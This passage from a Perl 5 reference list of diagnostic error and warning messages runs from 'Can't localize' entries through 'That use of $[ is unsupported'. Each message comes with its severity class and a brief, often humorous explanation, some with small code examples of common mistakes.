(F) You said something like local $$ref, which is not allowed because the compiler can't determine whether $ref will end up pointing to anything with a symbol table entry, and a symbol table entry is necessary to do a local.

Can't localize lexical variable %s

(F) You used local on a variable name that was previous declared as a lexical variable using my. This is not allowed. If you want to localize a package variable of the same name, qualify it with the package name.

Can't locate %s in @INC

(F) You said to use (or require, or do) a file that couldn't be found in any of the libraries mentioned in @INC. Perhaps you need to set the PERL5LIB environment variable to say where the extra library is, or maybe the script needs to add the library name to @INC with the use lib directive. Or maybe you just misspelled the name of the file. See require.

Can't locate object method "%s" via package "%s"

(F) You called a method correctly, and it correctly indicated a package functioning as a class, but the package doesn't define that method name, nor do any of its base classes (which is why the message says "via" rather than "in").

Can't locate package %s for @%s::ISA

(W) The @ISA array contained the name of another package that doesn't seem to exist.

Can't mktemp()

(F) The mktemp routine failed for some reason while trying to process a -e switch. Maybe your /tmp partition is full, or clobbered.

Can't modify %s in %s

(F) You aren't allowed to assign to the item indicated, or otherwise try to change it, such as with an autoincrement.

Can't modify non-existent substring

(P) The internal routine that does assignment to a substr was handed a NULL pointer.

Can't msgrcv to readonly var

(F) The target of a msgrcv must be modifiable in order to be used as a receive buffer.

Can't open %s: %s

(S) An inplace edit couldn't open the original file for the indicated reason. Usually this is because you don't have read permission for the file.

Can't open bidirectional pipe

(W) You tried to say open(CMD, "|cmd|"), which is not supported. You can try any of several modules in the Perl library to do this, such as Open2. Alternately, direct the pipe's output to a file using ">", and then read it in under a different filehandle.

Can't open error file %s as stderr

(F) An error peculiar to VMS. Perl does its own command-line redirection, and couldn't open for writing the file specified after 2> or 2>> on the command line.

Can't open input file %s as stdin

(F) An error peculiar to VMS. Perl does its own command-line redirection, and couldn't open for reading the file specified after < on the command line.

Can't open output file %s as stdout

(F) An error peculiar to VMS. Perl does its own command-line redirection, and couldn't open for writing the file specified after > or >> on the command line.

Can't open output pipe (name: %s)

(P) An error peculiar to VMS. Perl does its own command-line redirection, and couldn't open the pipe into which to send data destined for STDOUT.

Can't open perl script "%s": %s

(F) The script you specified can't be opened for the indicated reason.

Can't rename %s to %s: %s, skipping file

(S) The rename done by the -i switch failed for some reason, probably because you don't have write permission to the directory.

Can't reopen input pipe (name: %s) in binary mode

(P) An error peculiar to VMS. Perl thought STDIN was a pipe, and tried to reopen it to accept binary data. Alas, it failed.

Can't reswap uid and euid

(P) The setreuid call failed for some reason in the setuid emulator of suidperl.

Can't return outside a subroutine

(F) The return statement was executed in mainline code, that is, where there was no subroutine call to return out of.

Can't stat script "%s"

(P) For some reason you can't fstat(2) the script even though you have it open already. Bizarre.

Can't swap uid and euid

(P) The setreuid call failed for some reason in the setuid emulator of suidperl.

Can't take log of %d

(F) Logarithms are only defined on positive real numbers.

Can't take sqrt of %d

(F) For ordinary real numbers, you can't take the square root of a negative number. There's a Complex module available for Perl, though, if you really want to do that.

Can't undef active subroutine

(F) You can't undefine a routine that's currently running. You can, however, redefine it while it's running, and you can even undef the redefined subroutine while the old routine is running. Go figure.

Can't unshift

(F) You tried to unshift an "unreal" array that can't be unshifted, such as the main Perl stack.

Can't upgrade that kind of scalar

(P) The internal sv_upgrade() routine adds "members" to an SV, making it into a more specialized kind of SV. The top several SV types are so specialized, however, that they cannot be interconverted. This message indicates that such a conversion was attempted.

Can't upgrade to undef

(P) The undefined SV is the bottom of the totem pole, in the scheme of upgradability. Upgrading to undef indicates an error in the code calling sv_upgrade().

Can't use "my %s" in sort comparison

(F) The global variables $a and $b are reserved for sort comparisons. You mentioned $a or $b in the same line as the <=> or cmp operator, and the variable had earlier been declared as a lexical variable. Either qualify the sort variable with the package name, or rename the lexical variable.

Can't use %s for loop variable

(F) Only a simple scalar variable may be used as a loop variable on a foreach.

Can't use %s ref as %s ref

(F) You've mixed up your reference types. You have to dereference a reference of the type needed. You can use the ref function to test the type of the reference, if need be.

Can't use \1 to mean $1 in expression

(W) In an ordinary expression, backslash is a unary operator that creates a reference to its argument. The use of backslash to indicate a backreference to a matched substring is only valid as part of a regular expression pattern. Trying to do this in ordinary Perl code produces a value that prints out looking like SCALAR(0xdecaf). Use the $1 form instead.

Can't use string ("%s") as %s ref while "strict refs" in use

(F) Only hard references are allowed by use strict refs. Symbolic references are disallowed.

Can't use an undefined value as %s reference

(F) A value used as either a hard reference or a symbolic reference must be a defined value. This helps to de-lurk some insidious errors.

Can't use global %s in "my"

(F) You tried to declare a magical variable as a lexical variable. This is not allowed, because the magic can only be tied to one location (namely the global variable) and it would be incredibly confusing to have variables in your program that looked like magical variables but weren't.

Can't use subscript on %s

(F) The compiler tried to interpret a bracketed expression as a subscript, but to the left of the brackets was an expression that didn't look like an array reference, or anything else subscriptable.

Can't write to temp file for -e: %s

(F) The write(2) routine failed for some reason while trying to process a -e switch. Maybe your /tmp partition is full, or clobbered.

Can't x= to readonly value

(F) You tried to repeat a constant value (perhaps the undefined value) with an assignment operator, which implies modifying the value itself. Perhaps you need to copy the value to a temporary, and repeat that.

Cannot open temporary file

(F) The creat(2) routine failed for some reason while trying to process a -e switch. Maybe your /tmp partition is full, or clobbered.

chmod: mode argument is missing initial 0

(W) A novice will sometimes say

chmod 777, $filename

not realizing that 777 will be interpreted as a decimal number, equivalent to 01411. Octal constants are introduced with a leading 0 in Perl, as in C.

Close on unopened file %s

(W) You tried to close a filehandle that was never opened.

connect() on closed fd

(W) You tried to do a connect on a closed socket. Did you forget to check the return value of your socket call? See connect.

Corrupt malloc ptr %d at %d

(P) The malloc(3) package that comes with Perl had an internal failure.

corrupted regexp pointers

(P) The regular expression engine got confused by what the regular expression compiler gave it.

corrupted regexp program

(P) The regular expression engine got passed a regular expression program without a valid magic number.

Deep recursion on subroutine "%s"

(W) This subroutine has called itself (directly or indirectly) 100 more times than it has returned. This probably indicates an infinite recursion, unless you're writing strange benchmark programs, in which case it indicates something else.

Did you mean &%s instead?

(W) You probably referred to an imported subroutine &FOO as $FOO or some such.

Did you mean $ or @ instead of %?

(W) You probably said %hash{$key} when you meant $hash{$key} or @hash{@keys}. On the other hand, maybe you just meant %hash and got carried away.

Do you need to predeclare %s?

(S) This is an educated guess made in conjunction with the message "%s found where operator expected". It often means a subroutine or module name is being referenced that hasn't been declared yet. This may be because of ordering problems in your file, or because of a missing sub, package, require, or use statement. If you're referencing something that isn't defined yet, you don't actually have to define the subroutine or package before the current location. You can use an empty sub foo; or package FOO; to enter a "forward" declaration.

Don't know how to handle magic of type '%s'

(P) The internal handling of magical variables has been cursed.

do_study: out of memory

(P) This should have been caught by safemalloc() instead.

Duplicate free() ignored

(S) An internal routine has called free() on something that had already been freed.

elseif should be elsif

(S) There is no keyword elseif in Perl because Larry thinks it's ugly. Your code will be interpreted as an attempt to call a method named elseif() for the class returned by the following block. This is unlikely to do what you want.

END failed--cleanup aborted

(F) An untrapped exception was raised while executing an END subroutine. The interpreter is immediately exited.

Error converting file specification %s

(F) An error peculiar to VMS. Since Perl may have to deal with file specifications in either VMS or UNIX syntax, it converts them to a single form when it must operate on them directly. Either you've passed an invalid file specification to Perl, or you've found a case the conversion routines don't handle. Drat.

Execution of %s aborted due to compilation errors.

(F) The final summary message when a Perl compilation fails.

Exiting eval via %s

(W) You are exiting an eval by unconventional means, such as a goto, or a loop control statement.

Exiting subroutine via %s

(W) You are exiting a subroutine by unconventional means, such as a goto, or a loop control statement.

Exiting substitution via %s

(W) You are exiting a substitution by unconventional means, such as a return, a goto, or a loop control statement.

Fatal VMS error at %s, line %d

(P) An error peculiar to VMS. Something untoward happened in a VMS system service or RTL routine; Perl's exit status should provide more details. The filename in %s and the line number in %d tell you which section of the Perl source code is distressed.

fcntl is not implemented

(F) Your machine apparently doesn't implement fcntl(2). What is this, a PDP-11 or something?

Filehandle %s never opened

(W) An I/O operation was attempted on a filehandle that was never initialized. You need to do an open or a socket call, or call a constructor from the FileHandle package.

Filehandle %s opened only for input

(W) You tried to write on a read-only filehandle. If you intended it to be a read-write filehandle, you needed to open it with +< or +> or +>> instead of with < or nothing. If you only intended to write the file, use > or >>. See open.

Filehandle only opened for input

(W) You tried to write on a read-only filehandle. If you intended it to be a read-write filehandle, you needed to open it with +< or +> or +>> instead of with < or nothing. If you only intended to write the file, use > or >>. See open.

Final $ should be \$ or $name

(F) You must now decide whether the final $ in a string was meant to be a literal dollar sign, or was meant to introduce a variable name that happens to be missing. So you have to add either the backslash or the name.

Final @ should be \@ or @name

(F) You must now decide whether the final @ in a string was meant to be a literal "at" sign, or was meant to introduce a variable name that happens to be missing. So you have to add either the backslash or the name.

Format %s redefined

(W) You redefined a format. To suppress this warning, say

{
    local $^W = 0;
    eval "format NAME =...";
}

Format not terminated

(F) A format must be terminated by a line with a solitary dot. Perl got to the end of your file without finding such a line. If you think you have such a line, make sure there are no spaces or tabs on either side of the dot.

Found = in conditional, should be ==

(W) You said

if ($foo = 123)

when you meant

if ($foo == 123)

(or something like that).

gdbm store returned %d, errno %d, key "%s"

(S) A warning from the GDBM_File extension module that a store() failed.

gethostent not implemented

(F) Your C library apparently doesn't implement gethostent(3), probably because if it did, it'd feel morally obligated to return every hostname on the Internet. DNS tends to give machines a sense of grandeur.

get{sock,peer}name() on closed fd

(W) You tried to get a socket or peer socket name on a closed socket. Did you forget to check the return value of your socket call?

getpwnam returned invalid UIC %d for user "%s"

(S) A warning peculiar to VMS. The call to sys$getuai underlying the getpwnam function returned an invalid UIC.

Glob not terminated

(F) The lexer saw a left angle bracket in a place where it was expecting a term, so it's looking for the corresponding right angle bracket, and not finding it. Chances are you left out some needed parentheses earlier in the line, and you really meant a "less than".

Global symbol "%s" requires explicit package name

(F) You've said use strict vars, which indicates that all variables must either be lexically scoped (using my), or explicitly qualified to say which package the global variable is in (using ::).

goto must have label

(F) Unlike next or last, you're not allowed to goto an unspecified destination, the opinions of Elizabethans nothwithstanding. Go to goto.

Had to create %s unexpectedly

(S) A routine asked for a symbol from a symbol table that ought to have existed already, but for some reason it didn't, and had to be created on an emergency basis to prevent a core dump. This probably indicates a typo in an extension module.

Hash %%s missing the % in argument %d of %s()

(D) Really old Perl let you omit the % on hash names in some spots. This is now heavily deprecated.

Illegal division by zero

(F) You tried to divide a number by 0. Either something was wrong in your logic, or you need to put a conditional in to guard against meaningless input. Maybe both.

Illegal modulus zero

(F) You tried to divide a number by 0 to get the remainder. Most numbers don't take to this kindly.

Illegal octal digit

(F) You used an 8 or 9 in a octal number.

Illegal octal digit ignored

(W) You may have tried to use an 8 or 9 in a octal number. Interpretation of the octal number stopped before the 8 or 9.

Insecure dependency in %s

(F) You tried to do something that the tainting mechanism didn't like. The tainting mechanism is turned on when you're running setuid or setgid, or when you specify -T to turn it on explicitly. The tainting mechanism labels all data that's derived directly or indirectly from the user, who is considered to be unworthy of your trust. If any such data is used in a "dangerous" operation, you get this error.

Insecure directory in %s

(F) You can't use system, exec, or a piped open in a setuid or setgid script if $ENV{PATH} contains a directory that is writable by the world.

Insecure PATH

(F) You can't use system, exec, or a piped open in a setuid or setgid script if $ENV{PATH} is derived from data supplied (or potentially supplied) by the user. The script must set the path to a known value, using trustworthy data.

Internal inconsistency in tracking vforks

(S) A warning peculiar to VMS. Perl keeps track of the number of times you've called fork and exec, in order to determine whether the current call to exec should affect the current script or a subprocess (see exec). Somehow, this count has become scrambled, so Perl is making a guess and treating this exec as a request to terminate the Perl script and execute the specified command.

internal disaster in regexp

(P) Something went badly wrong in the regular expression parser.

internal urp in regexp at /%s/

(P) Something went badly awry in the regular expression parser.

invalid [] range in regexp

(F) The range specified in a character class had a minimum character greater than the maximum character.

ioctl is not implemented

(F) Your machine apparently doesn't implement ioctl(2), which is pretty strange for a machine that supports C.

junk on end of regexp

(P) The regular expression parser is confused.

Label not found for "last %s"

(F) You named a loop to break out of, but you're not currently in a loop of that name, not even if you count where you were called from. See last.

Label not found for "next %s"

(F) You named a loop to continue, but you're not currently in a loop of that name, not even if you count where you were called from. See last.

Label not found for "redo %s"

(F) You named a loop to restart, but you're not currently in a loop of that name, not even if you count where you were called from. See last.

listen() on closed fd

(W) You tried to do a listen on a closed socket. Did you forget to check the return value of your socket call? See listen.

Literal @%s now requires backslash

(F) It used to be that Perl would try to guess whether you wanted an array interpolated or a literal @. It did this when the string was first used at run-time. Now strings are parsed at compile time, and ambiguous instances of @ must be disambiguated, either by putting a backslash to indicate a literal, or by declaring (or using) the array within the program before the string (lexically). (Someday it will simply assume that any unbackslashed @ interpolates an array.)

Method for operation %s not found in package %s during blessing

(F) An attempt was made to specify an entry in an overloading table that somehow doesn't point to a valid method.

Might be a runaway multi-line %s string starting on line %d

(S) This is an advisory indicating that the previously reported error may have been caused by a missing delimiter on a string or pattern, because it eventually ended earlier on the current line.

Misplaced _ in number

(W) An underline in a decimal constant wasn't on a three-digit boundary.

Missing $ on loop variable

(F) Apparently you've been programming in csh too much. Scalar variables are always introduced with a $ in Perl, unlike in the shells, where it can vary from one line to the next.

Missing comma after first argument to %s function

(F) While certain functions allow you to specify a filehandle or an "indirect object" before the argument list, this ain't one of 'em.

Missing operator before %s?

(S) This is an educated guess made in conjunction with the message "%s found where operator expected". Often the missing operator is a comma.

Missing right bracket

(F) The lexer counted more opening curly brackets (braces) than closing ones. Hint: you'll find the missing one near the place you were last editing.

Missing semicolon on previous line?

(S) This is an educated guess made in conjunction with the message "%s found where operator expected". Don't automatically put a semicolon on the previous line just because you saw this message.

Modification of a read-only value attempted

(F) You tried, directly or indirectly, to change the value of a constant. You didn't, of course, try 2 = 1, since the compiler catches that. But an easy way to do the same thing is:

sub mod { $_[0] = 1 }
mod(2);

Another way is to assign to a substr that's off the end of the string.

Modification of non-creatable array value attempted, subscript %d

(F) You tried to make an array value spring into existence, and the subscript was probably negative, even counting from end of the array backwards.

Modification of non-creatable hash value attempted, subscript "%s"

(F) You tried to make a hash value spring into existence, and it couldn't be created for some peculiar reason.

Module name must be constant

(F) Only a bare module name is allowed as the first argument to a use. If you want to get fancier than that, call require within a BEGIN block.

msg%s not implemented

(F) You don't have System V message IPC on your system.

Multidimensional syntax %s not supported

(W) Multidimensional arrays aren't written like $foo[1,2,3]. They're written like $foo[1][2][3], as in C.

Negative length

(F) You tried to do a read/write/send/recv operation with a buffer length that is less than 0. This is difficult to imagine.

nested *?+ in regexp

(F) You can't quantify a quantifier without intervening parens. So things like ** or +* or ?* are illegal, because you can't match things as many times as you want.

Note, however, that the minimal matching quantifiers, *?, +?, and ??, appear to be nested quantifiers, but aren't.

No #! line

(F) The setuid emulator requires that scripts have a well-formed #! line even on machines that don't support the #! construct.

No %s allowed while running setuid

(F) Certain operations are deemed to be too insecure for a setuid or setgid script to even be allowed to attempt. Generally speaking there will be another way to do what you want that is, if not secure, at least securable.

No -e allowed in setuid scripts

(F) A setuid script can't be specified by the user.

No comma allowed after %s

(F) A list operator that has a filehandle or "indirect object" is not allowed to have a comma between that and the following arguments. Otherwise it'd be just another one of the arguments.

No command into which to pipe on command line

(F) An error peculiar to VMS. Perl handles its own command-line redirection, and found a | at the end of the command line, so it doesn't know whither to pipe the output from this command.

No DB::DB routine defined

(F) The currently executing code was compiled with the -d switch, but for some reason the perl5db.pl file (or some facsimile thereof) didn't define a routine to be called at the beginning of each statement. Which is odd, because the file should have been required automatically, and should have blown up the require if it didn't parse right.

No dbm on this machine

(P) This is counted as an internal error, because every machine should supply dbm nowadays, since Perl comes with SDBM.

No DBsub routine

(F) The currently executing code was compiled with the -d switch, but for some reason the perl5db.pl file (or some facsimile thereof) didn't define a DB::sub routine to be called at the beginning of each ordinary subroutine call.

No error file after 2> or 2>> on command line

(F) An error peculiar to VMS. Perl handles its own command-line redirection, and found a 2> or a 2>> on the command line, but can't find the name of the file to which to write data destined for STDERR.

No input file after < on command line

(F) An error peculiar to VMS. Perl handles its own command-line redirection, and found a < on the command line, but can't find the name of the file from which to read data for STDIN.

No output file after > on command line

(F) An error peculiar to VMS. Perl handles its own command-line redirection, and found a lone > at the end of the command line, so it doesn't know whither you wanted to redirect STDOUT.

No output file after > or >> on command line

(F) An error peculiar to VMS. Perl handles its own command-line redirection, and found a > or a >> on the command line, but can't find the name of the file to which to write data destined for STDOUT.

No Perl script found in input

(F) You called perl -x, but no line was found in the file beginning with #! and containing the word "perl".

No setregid available

(F) Configure didn't find anything resembling the setregid(2) call for your system.

No setreuid available

(F) Configure didn't find anything resembling the setreuid(2) call for your system.

No space allowed after -I

(F) The argument to -I must follow the -I immediately with no intervening space.

No such pipe open

(P) An error peculiar to VMS. The internal routine my_pclose() tried to close a pipe that hadn't been opened. This should have been caught earlier as an attempt to close an unopened filehandle.

No such signal: SIG%s

(W) You specified a signal name as a subscript to %SIG that was not recognized. Say kill -l in your shell to see the valid signal names on your system.

Not a CODE reference

(F) Perl was trying to evaluate a reference to a code value (that is, a subroutine), but found a reference to something else instead. You can use the ref function to find out what kind of reference it really was.

Not a format reference

(F) I'm not sure how you managed to generate a reference to an anonymous format, but this indicates you did, and that it didn't exist.

Not a GLOB reference

(F) Perl was trying to evaluate a reference to a typeglob (that is, a symbol table entry that looks like *foo), but found a reference to something else instead. You can use the ref function to find out what kind of reference it really was.

Not a HASH reference

(F) Perl was trying to evaluate a reference to a hash value, but found a reference to something else instead. You can use the ref function to find out what kind of reference it really was.

Not a perl script

(F) The setuid emulator requires that scripts have a well-formed #! line even on machines that don't support the #! construct. The line must mention "perl".

Not a SCALAR reference

(F) Perl was trying to evaluate a reference to a scalar value, but found a reference to something else instead. You can use the ref function to find out what kind of reference it really was.

Not a subroutine reference

(F) Perl was trying to evaluate a reference to a code value (that is, a subroutine), but found a reference to something else instead. You can use the ref function to find out what kind of reference it really was.

Not a subroutine reference in %OVERLOAD

(F) An attempt was made to specify an entry in an overloading table that somehow doesn't point to a valid subroutine.

Not an ARRAY reference

(F) Perl was trying to evaluate a reference to an array value, but found a reference to something else instead. You can use the ref function to find out what kind of reference it really was.

Not enough arguments for %s

(F) The function requires more arguments than you specified.

Not enough format arguments

(W) A format specified more picture fields than the subsequent values line supplied.

Null filename used

(F) You can't require the null filename, especially since on many machines that means the current directory! See require.

NULL OP IN RUN

(P) Some internal routine called run() with a null opcode pointer.

Null realloc

(P) An attempt was made to realloc(3) NULL.

NULL regexp argument

(P) The internal pattern-matching routines blew it bigtime.

NULL regexp parameter

(P) The internal pattern-matching routines are out of their gourd.

Odd number of elements in hash list

(S) You specified an odd number of elements to a hash list, which is odd, since hash lists come in key/value pairs.

oops: oopsAV

(S) An internal warning that the grammar is screwed up.

oops: oopsHV

(S) An internal warning that the grammar is screwed up.

Operation `%s' %s: no method found

(F) An attempt was made to use an entry in an overloading table that somehow no longer points to a valid method.

Operator or semicolon missing before %s

(S) You used a variable or subroutine call where the parser was expecting an operator. The parser has assumed you really meant to use an operator, but this is highly unlikely to be correct. For example, if you say *foo *foo it will be interpreted as if you said *foo * 'foo'.

Out of memory for yacc stack

(F) The byacc parser wanted to grow its stack so it could continue parsing, but realloc(3) wouldn't give it more memory, virtual or otherwise.

Out of memory!

(X) malloc(3) returned 0, indicating there was insufficient remaining memory (or virtual memory) to satisfy the request.

page overflow

(W) A single call to write produced more lines than can fit on a page.

panic: ck_grep

(P) Failed an internal consistency check trying to compile a grep.

panic: ck_split

(P) Failed an internal consistency check trying to compile a split.

panic: corrupt saved stack index

(P) The savestack was requested to restore more localized values than there are in the savestack.

panic: die %s

(P) We popped the context stack to an eval context, and then discovered it wasn't an eval context.

panic: do_match

(P) The internal pp_match() routine was called with invalid operational data.

panic: do_split

(P) Something terrible went wrong in setting up for the split.

panic: do_subst

(P) The internal pp_subst() routine was called with invalid operational data.

panic: do_trans

(P) The internal do_trans() routine was called with invalid operational data.

panic: goto

(P) We popped the context stack to a context with the specified label, and then discovered it wasn't a context we know how to do a goto in.

panic: INTERPCASEMOD

(P) The lexer got into a bad state at a character case modifier like \u.

panic: INTERPCONCAT

(P) The lexer got into a bad state parsing a string with brackets.

panic: last

(P) We popped the context stack to a block context, and then discovered it wasn't a block context.

panic: leave_scope clearsv

(P) A writable lexical variable became read-only somehow within the scope.

panic: leave_scope inconsistency

(P) The savestack probably got out of sync. At any rate, there was an invalid enum on the top of it.

panic: malloc

(P) Something requested a negative number of bytes of malloc(3).

panic: mapstart

(P) The compiler is screwed up with respect to the map function.

panic: null array

(P) One of the internal array routines was passed a null AV pointer.

panic: pad_alloc

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_free curpad

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_free po

(P) An invalid scratchpad offset was detected internally.

panic: pad_reset curpad

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_sv po

(P) An invalid scratchpad offset was detected internally.

panic: pad_swipe curpad

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_swipe po

(P) An invalid scratchpad offset was detected internally.

panic: pp_iter

(P) The foreach iterator got called in a non-loop context frame.

panic: realloc

(P) Something requested a negative number of bytes of realloc(3).

panic: restartop

(P) Some internal routine requested a goto (or something like it), and didn't supply the destination.

panic: return

(P) We popped the context stack to a subroutine or eval context, and then discovered it wasn't a subroutine or eval context.

panic: scan_num

(P) scan_num() got called on something that wasn't a number.

panic: sv_insert

(P) The sv_insert() routine was told to remove more string than there was string.

panic: top_env

(P) The compiler attempted to do a goto, or something weird like that.

panic: yylex

(P) The lexer got into a bad state while processing a character case modifier like \u.

Parens missing around "%s" list

(W) You said something like

my $foo, $bar = @_;

when you meant

my ($foo, $bar) = @_;

Remember that my and local bind closer than comma.

Perl %s required--this is only version %s, stopped

(F) The module in question uses features of a version of Perl more recent than the currently running version. How long has it been since you upgraded, anyway? See require.

Permission denied

(F) The setuid emulator in suidperl decided you were up to no good.

pid %d not a child

(W) A warning peculiar to VMS. waitpid was asked to wait for a process which isn't a subprocess of the current process. While this is fine from VMS's perspective, it's probably not what you intended.

POSIX getpgrp can't take an argument

(F) Your C compiler uses POSIX getpgrp(2), which takes no argument, unlike the BSD version, which takes a pid.

Possible memory corruption: %s overflowed 3rd argument

(F) An ioctl(2) or fcntl(2) returned more than Perl was bargaining for. Perl guesses a reasonable buffer size, but puts a sentinel byte at the end of the buffer just in case. This sentinel byte got clobbered, and Perl assumes that memory is now corrupted. You can try to trap this with eval, but remember your malloc arena may have been clobbered. Expect your program to dump core soon. If you're lucky, it won't set fire to the laser printer first. See ioctl.

Precedence problem: open %s should be open(%s)

(S) The old irregular construct

open FOO || die;

is now misinterpreted as

open(FOO || die);

because of the strict regularization of Perl 5's grammar into unary and list operators. (The old open was a little of both.) You must put parens around the filehandle, or use the new or operator instead of ||.

print on closed filehandle %s

(W) The filehandle you're printing on got itself closed sometime before now. Check your logic flow. It may have flowed away.

printf on closed filehandle %s

(W) The filehandle you're writing to got itself closed sometime before now. Check your logic flow. See previous joke.

Probable precedence problem on %s

(W) The compiler found a bare word where it expected a conditional, which often indicates that an || or && was parsed as part of the last argument of the previous construct, for example:

open FOO || die;

Prototype mismatch: (%s) vs (%s)

(S) The subroutine being defined had a predeclared (forward) declaration with a different function prototype. The prototypes must match.

Read on closed filehandle <%s>

(W) The filehandle you're reading from got itself closed sometime before now. Check your logic flow. Don't see the previous joke.

Reallocation too large: %d

(F) You can't allocate more than 64K on an MS-DOS machine.

Recompile perl with -DDEBUGGING to use -D switch

(F) You can't use the -D option unless the code to produce the desired output is compiled into perl, which entails some overhead, which is why it's currently left out of your copy.

Recursive inheritance detected

(F) More than 100 levels of inheritance were used. Probably indicates an unintended loop in your inheritance hierarchy. Use -Do to trace object method lookups. (But see previous entry.)

Reference miscount in sv_replace()

(W) The internal sv_replace() function was handed a new SV with a reference count of other than 1.

regexp memory corruption

(P) The regular expression engine got confused by what the regular expression compiler gave it.

regexp out of space

(P) A "can't happen" error, because safemalloc() should have caught it earlier. If it didn't, your Perl is misconfigured.

regexp too big

(F) The current implementation of regular expression uses 16-bit shorts as address offsets within a string. Unfortunately this means that if the regular expression compiles to longer than 32767 bytes, it'll blow up. Usually when you want a regular expression this big, there is a better way to do it with multiple statements.

Reversed %s= operator

(W) You wrote your assignment operator backward. The = must always come last, to avoid ambiguity with subsequent unary operators.

Runaway format

(F) Your format contained the ~~ repeat-until-blank sequence, but it produced 200 lines at once, and the 200th line looked exactly like the 199th line. Apparently you didn't arrange for the arguments to exhaust themselves, either by using ^ instead of @ (for scalar variables), or by shifting or popping (for array variables).

Scalar value @%s[%s] better written as $%s[%s]

(W) You've used an array slice (indicated by @) to select a single value of an array. Generally it's better to ask for a scalar value (indicated by $). The difference is that $foo[&bar] always behaves like a scalar, both when assigning to it and when evaluating its argument, while @foo[&bar] behaves like a list when you assign to it, and provides a list context to its subscript, which can do weird things if you're only expecting one subscript. On the other hand, if you were actually hoping to treat the array element as a list, you need to look into how references work, since Perl will not magically convert between scalars and lists for you.

Script is not setuid/setgid in suidperl

(F) Oddly, the suidperl program was invoked on a script with its setuid or setgid bit unset. This doesn't make much sense.

Search pattern not terminated

(F) The lexer couldn't find the final delimiter of a // or m{} construct. Remember that bracketing delimiters count nesting level.

seek() on unopened file

(W) You tried to use the seek function on a filehandle that was either never opened or has been closed since.

select not implemented

(F) This machine doesn't implement the select(2) system call.

sem%s not implemented

(F) You don't have System V semaphore IPC on your system.

semi-panic: attempt to dup freed string

(S) The internal newSVsv() routine was called to duplicate a scalar that had previously been marked as free.

Semicolon seems to be missing

(W) A nearby syntax error was probably caused by a missing semicolon, or possibly some other missing operator, such as a comma.

Send on closed socket

(W) The filehandle you're sending to got itself closed sometime before now. Check your logic flow.

Sequence (?#... not terminated

(F) A regular expression comment must be terminated by a closing parenthesis. Embedded parentheses aren't allowed. But with the /x modifier you can use an ordinary comment starting with #, which doesn't care.

Sequence (?%s...) not implemented

(F) A proposed regular expression extension has the character reserved but has not yet been written.

Sequence (?%s...) not recognized

(F) You used a regular expression extension that doesn't make sense.

Server error

(A) Also known as "500 Server error". This is a CGI error, not a Perl error. You need to make sure your script is executable, is accessible by the user CGI is running the script under (which is probably not the user account you tested it under), does not rely on any environment variables (like PATH) from the user it isn't running under, and isn't in a location where the CGI server can't find it, basically, more or less.

setegid() not implemented

(F) You tried to assign to $), and your operating system doesn't support the setegid(2) system call (or equivalent), or at least Configure didn't think so.

seteuid() not implemented

(F) You tried to assign to $>, and your operating system doesn't support the seteuid(2) system call (or equivalent), or at least Configure didn't think so.

setrgid() not implemented

(F) You tried to assign to $(, and your operating system doesn't support the setrgid(2) system call (or equivalent), or at least Configure didn't think so.

setruid() not implemented

(F) You tried to assign to $<, and your operating system doesn't support the setruid(2) system call (or equivalent), or at least Configure didn't think so.

Setuid/gid script is writable by world

(F) The setuid emulator won't run a script that is writable by the world, because the world might have written on it already.

shm%s not implemented

(F) You don't have System V shared memory IPC on your system.

shutdown() on closed fd

(W) You tried to do a shutdown on a closed socket. Seems a bit superfluous.

SIG%s handler "%s" not defined.

(W) The signal handler named in %SIG doesn't, in fact, exist. Perhaps you put it into the wrong package?

sort is now a reserved word

(F) An ancient error message that almost nobody ever runs into anymore. But before sort was a keyword, people sometimes used it as a filehandle.

Sort subroutine didn't return a numeric value

(F) A sort comparison routine must return a number. You probably blew it by not using <=> or cmp, or by not using them correctly. See sort.

Sort subroutine didn't return single value

(F) A sort comparison subroutine may not return a list value with more or less than one element. See sort.

Split loop

(P) The split was looping infinitely. (Obviously, a split shouldn't iterate more times than there are characters of input, which is what happened.) See split.

Stat on unopened file %s

(W) You tried to use the stat function (or an equivalent file test) on a filehandle that was either never opened or has been closed since.

Statement unlikely to be reached

(W) You did an exec with some statement after it other than a die. This is almost always an error, because exec never returns unless there was a failure. You probably wanted to use system instead, which does return. To suppress this warning, put the exec in a block by itself. Or put a die after it.

Subroutine %s redefined

(W) You redefined a subroutine. To suppress this warning, say

{
    local $^W = 0;
    eval "sub name { ... }";
}

Substitution loop

(P) The substitution was looping infinitely. (Obviously, a substitution shouldn't iterate more times than there are characters of input, which is what happened.) See the discussion of substitution in the section "Pattern-Matching Operators" in Chapter 2.

Substitution pattern not terminated

(F) The lexer couldn't find the interior delimiter of an s/// or s{}{} construct. Remember that bracketing delimiters count nesting level.

Substitution replacement not terminated

(F) The lexer couldn't find the final delimiter of an s/// or s{}{} construct. Remember that bracketing delimiters count nesting level.

substr outside of string

(W) You tried to reference a substr that pointed outside of a string. That is, the absolute value of the offset was larger than the length of the string. See substr.

suidperl is no longer needed since...

(F) Your perl was compiled with -DSETUID_SCRIPTS_ARE_SECURE_NOW, but a version of the setuid emulator somehow got run anyway.

syntax error

(F) Probably means you had a syntax error. Common reasons include:

  • A keyword is misspelled.

  • A semicolon is missing.

  • A comma is missing.

  • An opening or closing parenthesis is missing.

  • An opening or closing brace is missing.

  • A closing quote is missing.

Often there will be another error message associated with the syntax error giving more information. (Sometimes it helps to turn on -w.) The error message itself often tells you where it was in the line when it decided to give up. Sometimes the actual error is several tokens before this, since Perl is good at understanding random input. Occasionally the line number may be misleading, and once in a blue moon the only way to figure out what's triggering the error is to call perl -c repeatedly, chopping away half the program each time to see if the error went away. Sort of the cybernetic version of 20 Questions.

syntax error at line %d: `%s' unexpected

(A) You've accidentally run your script through the Bourne shell instead of perl. Check the #! line, or manually feed your script into perl yourself.

System V IPC is not implemented on this machine

(F) You tried to do something with a function beginning with sem, shm or msg. See semctl, for example.

Syswrite on closed filehandle

(W) The filehandle you're writing to got itself closed sometime before now. Check your logic flow. If you're tired of that, check someone else's.

tell() on unopened file

(W) You tried to use the tell function on a filehandle that was either never opened or has been closed since.

Test on unopened file %s

(W) You tried to invoke a file test operator on a filehandle that isn't open. Check your logic.

That use of $[ is unsupported

(F) Assignment to $[ is now strictly circumscribed, and interpreted as a compiler directive. You may only say one of

$[ = 0;
$[ = 1;
...
